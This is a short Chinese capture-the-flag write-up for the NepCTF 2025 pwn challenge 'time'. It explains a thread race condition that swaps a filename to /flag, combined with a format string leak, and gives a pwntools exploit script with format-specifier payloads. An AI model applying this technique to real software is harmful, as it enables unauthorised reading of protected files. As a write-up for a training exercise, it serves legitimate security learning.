2025_NepCTF_PWN
time
Key Point
- 条件竞争
- 格式化字符串漏洞
Attack
程序存在格式化漏洞,可以泄露读入的文件内容。但是对flag字符做了限制,所以我通过thread条件竞争方法来进行绕过。
在第一次读入一个很长的字符串作为文件名,就会在第一个线程执行md5加密时,会产生一段时间的延时,在这个时间内,我们在第二次输入时,输入/flag,导致变量file被改为/flag。
当第一个线程执行完md5加密后,file已经被我们改成了/flag字符,所以最后读取的文件为/flag,成功将其读入内存中后,然后利用格式化字符串漏洞读取flag。
exp:
from pwn import *
gdbsc = '''
b *$rebase(0x002DC1)
set follow-fork-mode parent
c
thread 2
b *$rebase(0x002D0B)
c
'''
#p = gdb.debug('./time',gdbscript=gdbsc)
p = process('./time')
p.sendlineafter('name:',"%25$lx%24$lx%23$lx%22$lx")
p.sendlineafter('read:',"a"*1000000)
p.sendlineafter('read:',"/flag")
p.interactive()
浙公网安备 33010602011771号